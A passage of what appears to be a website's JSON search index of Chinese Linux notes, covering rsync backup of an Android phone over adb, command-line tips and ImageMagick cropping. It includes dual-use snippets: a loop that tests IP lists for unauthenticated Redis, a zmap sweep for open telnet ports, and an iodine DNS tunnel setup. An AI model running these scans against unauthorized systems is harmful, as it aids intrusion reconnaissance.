<p>\\u5168\\u76d8\\u5907\\u4efd\\u5e0c\\u671b\\u80fd\\u4fdd\\u7559\\u6587\\u4ef6\\u7684\\u5c5e\\u6027\\uff0c\\u5982\\u679c\\u76ee\\u6807\\u4f4d\\u7f6e\\u6ca1\\u6709root\\u7528\\u6237\\u5219\\u4e0d\\u80fd\\u76f4\\u63a5\\u4fdd\\u7559\\uff0crsync\\u63d0\\u4f9b\\u4e86<code>--fake-super</code>\\u8fd9\\u4e2a\\u9009\\u9879</p> <p>\\u8fd9\\u4e2a<code>--fake-super</code>\\u9009\\u9879\\u542f\\u7528\\u540e\\uff0crsync\\u4f1a\\u628a\\u5c5e\\u6027\\u4ee5\\u7279\\u6b8a\\u62d3\\u5c55\\u5c5e\\u6027\\u7684\\u65b9\\u5f0f\\u5b58\\u50a8\\uff0c\\u6062\\u590d\\u7684\\u65f6\\u5019rsync\\u4f1a\\u5229\\u7528\\u8fd9\\u4e2a\\u5c5e\\u6027\\u8fdb\\u884c\\u6062\\u590d</p>\"},{\"location\":\"Linux-backup/#rsync\",\"title\":\"rsync\\u5907\\u4efd\\u5b89\\u5353\\u624b\\u673a\",\"text\":\"<p>\\u53c2\\u8003\\uff1a http://ptspts.blogspot.com/2015/03/how-to-use-rsync-over-adb-on-android.html</p> <p>\\u9996\\u5148\\u4fdd\\u8bc1\\u624b\\u673a\\u7684usb\\u8c03\\u8bd5\\u5f00\\u542f\\u4e86\\uff0cadb shell\\u80fd\\u8fdb\\u5165\\u624b\\u673a\\uff0c\\u5728Linux\\u4e3b\\u673a\\u4e0a\\u6267\\u884c\\uff1a</p> <pre><code># \\u5c06rsync\\u4e8c\\u8fdb\\u5236\\u53d1\\u7ed9\\u624b\\u673a\\nwget -O rsync.bin http://github.com/pts/rsyncbin/raw/master/rsync.rsync4android\\nadb push rsync.bin /data/local/tmp/rsync\\nadb shell chmod 755 /data/local/tmp/rsync\\nadb shell /data/local/tmp/rsync --version\\n\\n# \\u5728\\u5b89\\u5353\\u4e0a\\u542f\\u52a8rsync server \\u76d1\\u542c\\u57281873\\u7aef\\u53e3\\uff0c\\u8f6c\\u53d1\\u5230Linux\\u76846010\\u7aef\\u53e3\\nadb shell 'exec &gt;/sdcard/rsyncd.conf &amp;&amp; echo address = 127.0.0.1 &amp;&amp; echo port = 1873 &amp;&amp; echo \\\"[root]\\\" &amp;&amp; echo path = / &amp;&amp; echo use chroot = false &amp;&amp; echo read only = false'\\nadb shell /data/local/tmp/rsync --daemon --no-detach --config=/sdcard/rsyncd.conf --log-file=/proc/self/fd/2\\n# \\u518d\\u542f\\u52a8\\u4e00\\u4e2a\\u7ec8\\u7aef\\u7ee7\\u7eed\\nadb forward tcp:6010 tcp:1873\\n\\n# \\u590d\\u5236\\u6574\\u4e2a/sdcard\\u76ee\\u5f55\\nrsync -avzP --stats rsync://localhost:6010/root/sdcard/ .\\n</code></pre>\"},{\"location\":\"Linux-cli/\",\"title\":\"Linux\\u547d\\u4ee4\\u884c\\u64cd\\u4f5c\\u6280\\u5de7\",\"text\":\"<p>\\u672c\\u6587\\u6863\\u4e00\\u822c\\u4e0d\\u6d89\\u53caroot\\u6743\\u9650\\uff0cLinux\\u76f8\\u5173\\u7b14\\u8bb0\\u8fd8\\u6709\\uff1a</p> <p>Linux\\u7cfb\\u7edf\\u914d\\u7f6e</p> <p>SSH\\u8fdc\\u7a0b\\u767b\\u5f55</p> <p>Linux\\u5907\\u4efd</p>\"},{\"location\":\"Linux-cli/#_1\",\"title\":\"\\u67e5\\u770b\\u5185\\u7f6e\\u547d\\u4ee4\\u7684\\u5e2e\\u52a9\",\"text\":\"<p>\\u5c06\\u4ee5\\u4e0b\\u5185\\u5bb9\\u52a0\\u5165<code>~/.bashrc</code>\\u4e2d\\u5373\\u53ef\\uff0c\\u5224\\u65ad\\u5982\\u679c\\u5728\\u5185\\u7f6e\\u547d\\u4ee4\\u5c31\\u8c03\\u7528help -m\\uff0c\\u4e0d\\u662f\\u5219\\u7ed5\\u5f00bash\\u51fd\\u6570\\u6765\\u8fd0\\u884cman\\u8fdb\\u7a0b</p> <pre><code>man () {\\ncase \\\"$(type -t -- \\\"$1\\\")\\\" in\\nbuiltin|keyword)\\nhelp -m \\\"$1\\\" | sensible-pager\\n        ;;\\n*)\\ncommand man \\\"$@\\\"\\n;;\\nesac\\n}\\n</code></pre>\"},{\"location\":\"Linux-cli/#grep\",\"title\":\"grep\\u641c\\u7d22\\u5e2e\\u52a9\\u6587\\u6863\",\"text\":\"<p>\\u7528\\u4e24\\u4e2a\\u6a2a\\u7ebf<code>--</code>\\u4f5c\\u4e3agrep\\u7684\\u7b2c\\u4e00\\u4e2a\\u53c2\\u6570\\u8868\\u793a\\u4e0d\\u8981\\u628a\\u5176\\u540e\\u9762\\u7684\\u5f62\\u5982<code>-z</code>\\u7684\\u53c2\\u6570\\u5f53\\u6210grep\\u7684\\u53c2\\u6570</p> <p>\\u4f8b\\u5982\\u6211\\u60f3\\u77e5\\u9053tar\\u547d\\u4ee4\\u4e2d\\u7684-z\\u662f\\u4ec0\\u4e48\\u610f\\u601d\\uff1a</p> <pre><code>man tar|grep -- -z\\n</code></pre>\"},{\"location\":\"Linux-cli/#grepstderrstdout\",\"title\":\"\\u5e2e\\u52a9\\u6587\\u672c\\u7684grep\\uff0c\\u628astderr\\u91cd\\u5b9a\\u5411\\u5230stdout\",\"text\":\"<p>\\u67d0\\u4e9b\\u65f6\\u5019\\u5e2e\\u52a9\\u6587\\u672c\\u662f\\u8f93\\u51fa\\u5230\\u6807\\u51c6\\u9519\\u8bef\\u8f93\\u51fa\\u7684\\uff0c\\u9700\\u8981\\u75282&gt;&amp;1\\u8fd9\\u6837\\u7684\\u91cd\\u5b9a\\u5411\\u54af</p> <pre><code>ssh-keygen --help 2&gt;&amp;1|grep bit\\n</code></pre>\"},{\"location\":\"Linux-cli/#_2\",\"title\":\"\\u5404\\u79cd\\u89e3\\u538b\\u547d\\u4ee4\",\"text\":\"<p>tar.gz\\uff1a <code>tar -zxvf xx.tar.gz</code></p> <p>tar.bz2\\uff1a <code>tar -jxvf xx.tar.bz2</code></p> <p>zip\\uff1a<code>unzip xx.zip</code></p> <p>\\u53c2\\u6570\\u542b\\u4e49\\uff1a</p> <p>-x\\u89e3\\u538b\\uff0c-v\\u8be6\\u7ec6\\u663e\\u793a\\u89e3\\u538b\\u51fa\\u6765\\u7684\\u4e1c\\u897f\\uff08\\u5982\\u679c\\u662f\\u4e00\\u4e2a\\u590d\\u6742\\u7684\\u538b\\u7f29\\u5305\\u5efa\\u8bae\\u4e0d\\u8981\\u7528\\u4ee5\\u52a0\\u5feb\\u89e3\\u538b\\u901f\\u5ea6\\uff09\\uff0c-f\\u540e\\u63a5\\u538b\\u7f29\\u6587\\u4ef6\\u7684\\u6587\\u4ef6\\u540d</p>\"},{\"location\":\"Linux-cli/#_3\",\"title\":\"\\u5f53\\u524d\\u76ee\\u5f55\\u6587\\u4ef6\\u5168\\u6587\\u641c\\u7d22\",\"text\":\"<p>\\u8fd9\\u91cc\\u8981\\u641c\\u7d22\\u5f53\\u524d\\u76ee\\u5f55\\u4e0b\\u9762\\u6240\\u6709\\u7684\\u5305\\u542b\\u201dMultiTeam\\u201d\\u6587\\u4ef6</p> <pre><code>grep MultiTeam -r .\\n</code></pre>\"},{\"location\":\"Linux-cli/#_4\",\"title\":\"\\u7edf\\u8ba1\\u5f53\\u524d\\u6587\\u4ef6\\u5939\\u4ee3\\u7801\\u884c\\u6570\",\"text\":\"<p>find \\u6307\\u5b9a\\u6587\\u4ef6\\u540e\\u7f00\\u540d\\uff0c\\u8bb0\\u4f4f\\u8981\\u5f15\\u53f7\\u907f\\u514dbash\\u89e3\\u6790*</p> <pre><code>find -name \\\"*.py\\\" -o -name \\\"*.md\\\"|xargs cat|wc\\n</code></pre>\"},{\"location\":\"Linux-cli/#_5\",\"title\":\"\\u67e5\\u770b\\u7ed9\\u5b9a\\u6587\\u4ef6\\u5217\\u8868\\u7684\\u6587\\u4ef6\\u5927\\u5c0f\",\"text\":\"<p>\\u7528xargs -d\\u6307\\u5b9a\\u5206\\u9694\\u7b26\\u4e3a\\\\n\\uff08\\u9ed8\\u8ba4\\u4f1a\\u6309\\u7167\\u7a7a\\u683c\\u548c\\\\n\\u5206\\u9694\\u53c2\\u6570\\uff09</p> <pre><code>cat list.txt | xargs -d \\\"\\\\n\\\" ls -alh\\n</code></pre>\"},{\"location\":\"Linux-cli/#wget\",\"title\":\"wget\\u6162\\u6162\\u4e0b\\u8f7d\",\"text\":\"<pre><code>wget -i list.txt  -nc --wait=60 --random-wait\\n</code></pre> <p>\\u5176\\u4e2dnc\\u8868\\u793a\\u5df2\\u7ecf\\u4e0b\\u8f7d\\u5230\\u7684\\u6587\\u4ef6\\u5c31\\u4e0d\\u8981\\u518d\\u8bf7\\u6c42\\u4e86\\uff0cwait=60\\u8868\\u793a\\u4e24\\u6b21\\u8bf7\\u6c42\\u95f4\\u969460s\\uff0crandom-wait\\u8868\\u793a\\u968f\\u673a\\u7b49\\u5f852~120s</p>\"},{\"location\":\"Linux-cli/#touch\",\"title\":\"touch\\u4fee\\u6539\\u65f6\\u95f4\\u6233\",\"text\":\"<p>\\u5c06b.txt\\u7684\\u65f6\\u95f4\\u6233\\u6539\\u4e3a\\u548ca.txt\\u4e00\\u6837</p> <pre><code>touch -r a.txt b.txt\\n</code></pre>\"},{\"location\":\"Linux-cli/#ubuntuls\",\"title\":\"\\u53bb\\u6389Ubuntu\\u9ed8\\u8ba4\\u60c5\\u51b5\\u4e0bls\\u7684\\u989c\\u8272\",\"text\":\"<pre><code>unalias ls\\n</code></pre> <p>\\u6216\\u8005\\u76f4\\u63a5\\u4f7f\\u7528\\uff1aCredits @rachpt</p> <pre><code>\\\\ls\\n</code></pre> <p>\\u540c\\u7406\\u4e5f\\u53ef\\u4ee5\\u7ed5\\u8fc7grep\\u7684alias: <code>\\\\grep</code></p>\"},{\"location\":\"Linux-cli/#_6\",\"title\":\"\\u6362\\u884c\\u65b9\\u5f0f\\u4fee\\u6539\",\"text\":\"<p>\\u5982\\u679c\\u4e00\\u4e2a\\u6587\\u4ef6\\u6765\\u81ea\\u4e8eWindows\\uff0c\\u53ef\\u80fd\\u9700\\u8981\\u5148\\u4fee\\u6539\\u6362\\u884c\\u65b9\\u5f0f\\u624d\\u80fd\\u7528\\uff0c\\u53bb\\u6389\\u6587\\u4ef6\\u4e2d\\u7684\\\\r</p> <p>vim\\u4e2d\\u8f93\\u5165 <code>:set ff=unix</code></p>\"},{\"location\":\"Linux-cli/#iodine-dns\",\"title\":\"iodine\\u2013\\u4f7f\\u7528DNS\\u4f20\\u8f93\\u6570\\u636e\",\"text\":\"<ul> <li>http://code.kryo.se/iodine/</li> </ul> <p>\\u6ce8\\u610f\\uff1a \\u672c\\u65b9\\u6848\\u7f51\\u901f\\u6781\\u4f4e\\uff0c\\u4f7f\\u7528\\u65f6\\u8981\\u6709\\u8db3\\u591f\\u7684\\u8010\\u5fc3\\uff0c\\u4e0d\\u80fd\\u4fdd\\u8bc1\\u590d\\u6742\\u60c5\\u51b5\\u4e0b\\u662f\\u5426\\u53ef\\u884c\\uff08\\u5c24\\u5176\\u662fWindows\\uff09</p> <p>\\u524d\\u671f\\u51c6\\u5907\\uff1a\\u4e00\\u4e2a\\u57df\\u540d\\uff08\\u5047\\u8bbe\\u4e3aexample.com\\uff09\\u53ca\\u4e00\\u53f0\\u670d\\u52a1\\u5668\\uff08\\u5047\\u8bbe\\u4e3a1.2.3.4\\uff09\\uff0c\\u5efa\\u8bae\\u5ba2\\u6237\\u7aef\\u5728Linux\\u4e0a\\u8fd0\\u884c</p>\"},{\"location\":\"Linux-cli/#1\",\"title\":\"1. \\u8bbe\\u7f6e\\u57df\\u540d\\u89e3\\u6790\",\"text\":\"<p>dns.example.com\\u6dfb\\u52a0\\u4e00\\u6761A\\u8bb0\\u5f55\\uff0c\\u89e3\\u6790\\u81f31.2.3.4</p> <p>t.example.com\\u6dfb\\u52a0\\u4e00\\u6761NS\\u8bb0\\u5f55\\uff0c\\u503c\\u4e3adns.example.com</p>\"},{\"location\":\"Linux-cli/#2\",\"title\":\"2. \\u670d\\u52a1\\u5668\\u7aef\",\"text\":\"<pre><code>./iodined -f -c -P secretpassword 192.168.99.1 t.example.com\\n</code></pre> <p>-f\\u8868\\u793a\\u6301\\u7eed\\u5360\\u7528\\u524d\\u53f0\\uff0c-c\\u8868\\u793a\\u4e0d\\u9650\\u5236\\u8bf7\\u6c42\\u6e90\\uff0c-P\\u6307\\u5b9a\\u5bc6\\u7801\\uff0c\\u6700\\u540e\\u662f<code>\\u5185\\u7f51IP</code>\\u548c\\u4f7f\\u7528\\u7684\\u57df\\u540d</p> <p>\\u5185\\u7f51IP\\u53ef\\u4ee5\\u968f\\u610f\\u6307\\u5b9a\\uff0c\\u53ea\\u8981\\u5f53\\u524d\\u670d\\u52a1\\u5668\\u6ca1\\u6709\\u5360\\u7528\\u5373\\u53ef\\uff0c\\u4f8b\\u5982\\u53ef\\u4ee5\\u6539\\u4e3a172.16.0.1</p>\"},{\"location\":\"Linux-cli/#3\",\"title\":\"3.\\u68c0\\u67e5\\u670d\\u52a1\\u7aef\\u662f\\u5426\\u6b63\\u5e38\",\"text\":\"<p>http://code.kryo.se/iodine/check-it/</p> <p>\\u4f5c\\u8005\\u63d0\\u4f9b\\u4e86\\u5728\\u7ebf\\u68c0\\u67e5\\u5de5\\u5177\\uff0c\\u8f93\\u5165t.example.com\\u5373\\u53ef\\u68c0\\u67e5</p>\"},{\"location\":\"Linux-cli/#4\",\"title\":\"4.\\u5ba2\\u6237\\u7aef\",\"text\":\"<p>\\u5efa\\u8bae\\u5728ubuntu\\u7b49\\u5b8c\\u6574\\u7684Linux\\u64cd\\u4f5c\\u7cfb\\u7edf\\u4e0a\\u8fd0\\u884c\\uff0c\\u4e0b\\u8f7d\\u6e90\\u7801\\u540emake\\u5373\\u53ef</p> <pre><code> ./iodine -f -P secretpassword t.example.com\\n</code></pre> <p>\\u6548\\u679c\\u56fe\\uff1a</p> <p></p>\"},{\"location\":\"Linux-cli/#windows\",\"title\":\"\\u8fdc\\u7a0b\\u63a7\\u5236Windows\",\"text\":\"<p>Windows\\u4e0b\\u6709\\u81ea\\u5e26\\u7684mstsc\\uff0cLinux\\u5982\\u6811\\u8393\\u6d3e\\u7528\\u5565\\u5462\\uff1f\\u5c31\\u7528rdesktop\\u5566</p> <p>\\u624b\\u518c\\u67e5\\u8be2\\u7528<code>man rdesktop</code></p> <p>\\u5feb\\u901f\\u4f7f\\u7528\\uff1a</p> <pre><code>sudo apt-get install -y rdesktop\\nrdesktop -f -k en-us -C -N -z -xl -P -u \\u7528\\u6237\\u540d -p \\u5bc6\\u7801 \\u670d\\u52a1\\u5668\\u5730\\u5740:\\u7aef\\u53e3\\n</code></pre> <p>\\u5176\\u4e2d-f\\u8868\\u793a\\u5168\\u5c4f\\uff0c -k\\u8bbe\\u7f6e\\u952e\\u76d8\\u5e03\\u5c40\\uff0c -C\\u4f7f\\u7528\\u79c1\\u6709\\u989c\\u8272\\u8868\\uff0c-N\\u540c\\u6b65NumLock\\uff0c-z\\u542f\\u7528\\u538b\\u7f29\\uff0c-xl \\u8bbe\\u7f6e\\u4e3aLAN\\u573a\\u666f\\uff0c-P\\u4f7f\\u7528bitmap\\u7f13\\u5b58</p> <p>\\u6ce8\\u610f\\u4e0a\\u8ff0\\u5728\\u547d\\u4ee4\\u884c\\u4e2d\\u4f7f\\u7528\\u660e\\u6587\\u5bc6\\u7801\\u5e76\\u4e0d\\u5b89\\u5168\\uff0c\\u53ef\\u80fd\\u88ab\\u5176\\u4ed6\\u7528\\u6237\\u7528ps\\u7b49\\u5de5\\u5177\\u770b\\u5230\\uff0c\\u5efa\\u8bae\\u4ec5\\u4ec5\\u5728\\u5b8c\\u5168\\u81ea\\u5df1\\u63a7\\u5236\\u7684Linux\\u4e0a\\u7cfb\\u7edf\\u4e0a\\u8fd9\\u6837\\u64cd\\u4f5c</p>\"},{\"location\":\"Linux-cli/#_7\",\"title\":\"\\u7edf\\u8ba1\\u4ee5\\u7279\\u5b9a\\u5b57\\u7b26\\u4e32\\u5f00\\u5934\\u7684\\u6587\\u4ef6\\u6570\\u76ee\",\"text\":\"<p>awk\\u662f\\u4e2a\\u5f88\\u597d\\u7528\\u7684\\u5de5\\u5177\\u5462\\uff0c\\u652f\\u6301substr\\u51fd\\u6570\\uff0c\\u7528\\u6cd5\\u4e3asubstr(\\u6e90\\u5b57\\u7b26\\u4e32\\uff0c\\u5f00\\u59cb\\uff0c\\u957f\\u5ea6)\\uff0c\\u5176\\u4e2d\\u5f00\\u59cb\\u4ece1\\u8ba1\\u6570</p> <p><code>ls -l</code> \\u957f\\u5217\\u8868\\u663e\\u793a\\u7684\\u8bdd\\uff0c\\u6309\\u7a7a\\u683c\\u5206\\u5c31\\u662f$9</p> <pre><code>ls -l|awk '{if(substr($9,1,\\u5b57\\u7b26\\u4e32\\u957f\\u5ea6)==\\\"\\u4f60\\u8981\\u7684\\u90a3\\u4e2a\\u5b57\\u7b26\\u4e32\\\") print $9}'|sort|uniq|wc -l\\n</code></pre>\"},{\"location\":\"Linux-cli/#hexdump\",\"title\":\"hexdump\\u67e5\\u770b\\u5b57\\u7b26\\u5185\\u90e8\\u7f16\\u7801\",\"text\":\"<p>echo\\u7684-n\\u53c2\\u6570\\u8868\\u793a\\u4e0d\\u8981\\u672b\\u5c3e\\u52a0\\\\n</p> <pre><code>echo -n hello | hexdump -C\\n</code></pre>\"},{\"location\":\"Linux-cli/#_8\",\"title\":\"\\u5b50\\u76ee\\u5f55\\u5927\\u5c0f\\u6392\\u5e8f\",\"text\":\"<p>sort\\u7684-h\\u8868\\u793a\\u6309\\u4eba\\u7c7b\\u7406\\u89e3\\u7684\\u5927\\u5c0f\\u683c\\u5f0f\\u6392\\u5e8f\\uff0c-r\\u8868\\u793a\\u9006\\u5e8f</p> <pre><code>du -sh * | sort -hr\\n</code></pre>\"},{\"location\":\"Linux-cli/#ffmpeg\",\"title\":\"\\u5b89\\u88c5ffmpeg\",\"text\":\"<p>\\u5728ubuntu14\\u4e0b\\u662f\\u6ca1\\u6709ffmpeg\\u7684\\u5b98\\u65b9\\u5305\\u652f\\u6301\\u7684\\uff0c\\u9700\\u8981\\u6dfb\\u52a0mc3man\\u7684ppa</p> <pre><code>sudo add-apt-repository ppa:mc3man/trusty-media\\n#\\u6309\\u56de\\u8f66\\u7ee7\\u7eed\\nsudo apt-get update\\nsudo apt-get install -y ffmpeg\\n</code></pre>\"},{\"location\":\"Linux-cli/#set-ex\",\"title\":\"\\u4fdd\\u8bc1\\u811a\\u672c\\u5b89\\u5168\\u6267\\u884cset -ex\",\"text\":\"<p><code>set</code>\\u547d\\u4ee4\\u633a\\u6709\\u7528\\u7684\\u5462\\uff0c-e\\u8868\\u793a\\u5982\\u679c\\u540e\\u9762\\u7684\\u8bed\\u53e5\\u8fd4\\u56de\\u4e0d\\u4e3a0\\u7acb\\u523b\\u7ed3\\u675fshell\\uff0c-x\\u8868\\u793a\\u663e\\u793a\\u51fa\\u6bcf\\u6761\\u547d\\u4ee4\\u53ca\\u53c2\\u6570</p> <p>\\u4ece\\u4eba\\u5bb6\\u7684Dockerfile\\u4e2d\\u5b66\\u4e60\\u5f97\\u6765</p>\"},{\"location\":\"Linux-cli/#change-readonly-bash-variable\",\"title\":\"change readonly bash variable\",\"text\":\"<p>bash is a weird thing\\u2026</p> <p>declaring a variable as reference by using <code>declare -n</code>, we can change it!</p> <pre><code>$ a=1\\n$ readonly a\\n$ a=2\\nbash: a: readonly variable\\n#Look here!\\n$ declare -n a\\n$ a=2\\n$ echo $a\\n2\\n</code></pre>\"},{\"location\":\"Linux-cli/#sleep-infinity\",\"title\":\"\\u6c38\\u4e45\\u7b49\\u5f85 sleep infinity\",\"text\":\"<p>\\u6709\\u65f6\\u5199\\u4e86\\u4e00\\u4e2ash\\u6587\\u4ef6\\u540e\\u9700\\u8981\\u4fdd\\u6301\\u8fd9\\u4e2ash\\u7684\\u8fd0\\u884c\\uff0c\\u5c31\\u7528sleep\\u6c38\\u4e45\\u7b49\\u5f85\\u597d\\u54af</p> <pre><code>sleep infinity\\n</code></pre>\"},{\"location\":\"Linux-cli/#zmap\",\"title\":\"zmap\\u626b\\u63cf\\u6574\\u4e2a\\u7f51\\u6bb5\\u7279\\u5b9a\\u5f00\\u653e\\u7aef\\u53e3\",\"text\":\"<p>zmap\\u7684\\u8fd0\\u884c\\u9700\\u8981root\\u6743\\u9650\\uff0c\\u7528<code>apt-get install zmap</code>\\u5373\\u53ef\\u5b89\\u88c5</p> <p>\\u66f4\\u8be6\\u7ec6\\u7684\\u5e2e\\u52a9\\u53bb\\u770b\\u770b<code>zmap --help</code>\\u54af</p> <pre><code>#\\u9700\\u8981\\u5148\\u7f16\\u8f91\\u9ed1\\u540d\\u5355 vi /etc/zmap/blacklist.conf \\u53d6\\u6d88\\u6389\\u6ce8\\u91ca\\nzmap 192.168.0.0/16 -B1000M -i eth0 -g -T 4  -p 23 -o 23.txt\\n</code></pre> <p>\\u5176\\u4e2d<code>-g</code>\\u8868\\u793a\\u626b\\u63cf\\u7ed3\\u675f\\u540e\\u663e\\u793a\\u603b\\u7ed3\\uff0c<code>-T 4</code>\\u8868\\u793a\\u542f\\u52a84\\u4e2a\\u626b\\u63cf\\u7ebf\\u7a0b\\uff0c<code>-p 23</code>\\u8868\\u793a\\u626b\\u63cf23\\u7aef\\u53e3\\uff0c-o\\u4fdd\\u5b58\\u6587\\u4ef6\\u7684\\u540d\\u79f0</p> <p>\\u5982\\u679c\\u62e8\\u53f7\\u4e86vpn\\uff0c\\u9700\\u8981\\u7528-G\\u6307\\u5b9a\\u7f51\\u5173\\u7684MAC\\u5730\\u5740\\uff0c\\u53ef\\u4ee5\\u901a\\u8fc7<code>arp \\u7f51\\u5173\\u7684IP</code>\\u5f97\\u5230</p>\"},{\"location\":\"Linux-cli/#ipredis\",\"title\":\"\\u5bf9ip\\u5217\\u8868\\u6279\\u91cf\\u6d4b\\u8bd5redis\\u672a\\u6388\\u6743\\u6f0f\\u6d1e\",\"text\":\"<pre><code>for i in `cat iplist.txt`; do (if [ `echo PING|redis-cli -h $i` == \\\"PONG\\\" ] ;then echo $i;fi);done 2&gt;/dev/null\\n</code></pre> <p>\\u5229\\u7528\\u4e86bash\\u652f\\u6301\\u7684for\\u8bed\\u53e5\\uff0c\\u6ce8\\u610ffor\\u4e4b\\u540e\\u7684\\u5206\\u53f7\\u548c\\u6700\\u540e\\u7684done</p> <p>\\u8fd8\\u6709\\u7528\\u4e86if\\u5b57\\u7b26\\u4e32\\u76f8\\u7b49\\uff0c\\u8bb0\\u5f97\\u8981\\u7528fi\\u7ed3\\u675fif</p> <p>redis-cli\\u8fde\\u63a5\\u4e0a\\u670d\\u52a1\\u5668\\u540e\\u53d1\\u9001PING\\uff0c\\u5982\\u679c\\u5b58\\u5728\\u672a\\u6388\\u6743\\u8bbf\\u95ee\\u6f0f\\u6d1e\\u5219\\u4f1a\\u8fd4\\u56dePONG\\uff0c\\u5426\\u5219\\u4f1a\\u8981\\u6c42Auth\\u6216\\u8005\\u5176\\u4ed6\\u62a5\\u9519\\u4fe1\\u606f</p>\"},{\"location\":\"Linux-cli/#imagemagick\",\"title\":\"\\u4f7f\\u7528ImageMagick\\u5bf9\\u56fe\\u50cf\\u8fdb\\u884c\\u88c1\\u526a\",\"text\":\"<p>\\u5b89\\u88c5\\u547d\\u4ee4\\uff1a<code>sudo apt-get install -y imagemagick</code></p> <p>\\u5904\\u7406\\u4e00\\u5f20\\u56fe\\u7247in.png\\uff0c\\u88c1\\u526a\\u6210300x280\\u5927\\u5c0f\\uff0c\\u4ece(30,0)\\u4f5c\\u4e3a\\u88c1\\u526a\\u7684\\u5de6\\u4e0a\\u89d2\\u70b9\\uff0c\\u5f97\\u5230out.png\\uff1a</p> <pre><code>convert in.png -crop 300x280+30+0 out.png\\n</code></pre> <p>\\u5176\\u5b9e\\u8fd9\\u56db\\u4e2a\\u53c2\\u6570\\u662f\\u6211\\u53cd\\u590d\\u5c1d\\u8bd5\\u4e8c\\u5206\\u6cd5\\u5f97\\u5230\\u7684\\uff0c\\u6216\\u8bb8\\u53ef\\u4ee5\\u7528\\u4e13\\u4e1a\\u8f6f\\u4ef6\\u5feb\\u901f\\u5f97\\u5230\\u5427</p> <p>\\u5173\\u952e\\u662f\\u53ef\\u4ee5\\u6279\\u91cf\\u5904\\u7406\\u5440\\uff0c\\u8fd9\\u91cc\\u4e0b\\u8f7dfriends\\u7684\\u5934\\u50cf\\u56fe\\u7247\\u8fdb\\u884c\\u5904\\u7406\\uff1a</p> <pre><code>for i in {1..79}; do curl -o $i.png http://kemono-friends.jp/wp-content/uploads/2016/11/no`printf \\\"%03d\\\" $i`.png --proxy socks5://127.0.0.1:1080; done\\nfor i in {1..79}; do convert $i.png -crop 300x280+30+0 $i.png; done\\n</code></pre> <p>\\u5176\\u4e2d\\u4f7f\\u7528\\u4e86printf\\u547d\\u4ee4\\uff0c\\u53ef\\u4ee5\\u4f7f\\u5f971\\u53d8\\u6210\\u4eba\\u5bb6url\\u9700\\u8981\\u7684001</p>\"},{\"location\":\"Linux-cli/#0\",\"title\":\"\\u67e5\\u627e0\\u5b57\\u8282\\u7684\\u6587\\u4ef6\\u5e76\\u5220\\u9664\",\"text\":\"<pre><code>find . -size 0 -delete\\n</code></pre> <p>\\u67e5\\u627e\\u5927\\u4e8e100M\\u7684\\u6587\\u4ef6\\uff1a<code>find . -size +100M</code></p>\"},{\"location\":\"Linux-cli/#_9\",\"title\":\"\\u6279\\u91cf\\u4fee\\u6539\\u6587\\u4ef6\\u540e\\u7f00\\u540d\",\"text\":\"<p>\\u5c06\\u5f53\\u524d\\u76ee\\u5f55\\u4e0b(\\u5305\\u542b\\u5b50\\u76ee\\u5f55)\\u6240\\u6709\\u7684txt\\u6587\\u4ef6\\u6539\\u4e3a.newext\\u540e\\u7f00\\uff1a</p> <pre><code>find . -name \\\"*.txt\\\" -exec rename 's/.txt$/.newext/' {} \\\\;\\n</code></pre> <p>\\u5982\\u679ccurl\\u4e0b\\u8f7d\\u7684\\u65f6\\u5019\\u5141\\u8bb8gzip\\u4f46\\u5fd8\\u4e86\\u2013compressed\\u5f97\\u5230\\u7684\\u6587\\u4ef6\\u662fgzip\\u538b\\u7f29\\u7684\\uff0c\\u4fee\\u6539\\u5f53\\u524d\\u6587\\u4ef6\\u5939\\u6240\\u6709.txt\\u4e3a.txt.gz\\uff0c\\u7136\\u540e\\u89e3\\u538b\\u7f29\\uff1a\\u5176\\u4e2drename -v\\u8868\\u793a\\u663e\\u793a\\u4fee\\u6539\\u7684\\u5217\\u8868</p> <pre><code>rename -v 's/.txt$/.txt.gz/' *.txt\\ngunzip *.gz\\n</code></pre>\"},{\"location\":\"Linux-cli/#vimr\",\"title\":\"\\u7528vim\\u53bb\\u9664\\\\r\\u6362\\u884c\\u7b26\",\"text\":\"<p>\\u7528vim\\u6253\\u5f00\\u6587\\u4ef6\\u540e\\uff0c\\u8f93\\u5165\\u4ee5\\u4e0b\\u5185\\u5bb9\\uff0c\\u5192\\u53f7\\u4e5f\\u662f\\u9700\\u8981\\u6309\\u7684</p> <pre><code>:set ff=unix\\n:wq\\n</code></pre>\"},{\"location\":\"Linux-cli/#free\",\"title\":\"\\u4e0d\\u7528free\\u67e5\\u770b\\u5185\\u5b58\\u5360\\u7528\",\"text\":\"<p>\\u5728docker\\u5bb9\\u5668\\u5185\\u90e8\\u4e00\\u822c\\u662f\\u4e0d\\u80fd\\u901a\\u8fc7<code>free -h</code>\\u6765\\u67e5\\u770b\\u771f\\u5b9e\\u5360\\u7528\\u7684\\u5185\\u5b58\\u7684\\uff0c\\u8fd9\\u65f6\\u5019\\u53ef\\u4ee5\\u91c7\\u7528<code>ps aux</code>\\u7d2f\\u52a0RSS\\u5b57\\u6bb5\\u6765\\u4f30\\u8ba1\\uff1a</p> <pre><code>ps aux | awk '{sum+=$6} END {print sum / 1024}'\\n</code></pre>\"},{\"location\":\"Linux-cli/#watch\",\"title\":\"watch\\u6301\\u7eed\\u89c2\\u5bdf\\u547d\\u4ee4\\u8f93\\u51fa\",\"text\":\"<p>\\u4f8b\\u5982\\u6211\\u60f3\\u6301\\u7eed\\u67e5\\u770boutput.txt\\u6587\\u4ef6\\u5927\\u5c0f\\uff1a</p> <pre><code>watch -n 1 ls -l output.txt\\n</code></pre> <p>\\u5176\\u4e2d<code>-n 1</code>\\u8868\\u793a\\u6bcf\\u96941s\\u5237\\u65b0\\u4e00\\u6b21</p> <p>\\u8fd9\\u4e2a\\u547d\\u4ee4\\u7b49\\u4ef7\\u4e8e\\u81ea\\u5df1\\u5199\\u4e2abash\\u811a\\u672c\\uff1a</p> <pre><code>#! /bin/bash\\nwhile [ 1 ]\\ndo\\n# do your work here...\\nsleep 1\\nclear\\ndone\\n</code></pre>\"},{\"location\":\"Linux-cli/#2truecrypt-71amake-j5-l4\",\"title\":\"\\u6811\\u8393\\u6d3e2\\u4e0a\\u7f16\\u8bd1Truecrypt 7.1a\\uff0c\\u4f7f\\u7528make -j5 -l4\\u52a0\\u901f\\u7f16\\u8bd1\",\"text\":\"<p>\\u53c2\\u7167http://davidstutz.de/installing-truecrypt-raspbian/\\uff0c\\u4e00\\u6b65\\u6b65\\u6765\\u5c31\\u884c\\u5566</p> <p>\\u5177\\u4f53\\u6b65\\u9aa4\\u5982\\u4e0b\\uff0c\\u5176\\u4e2dmake\\u4f7f\\u7528\\u53c2\\u6570<code>-j5 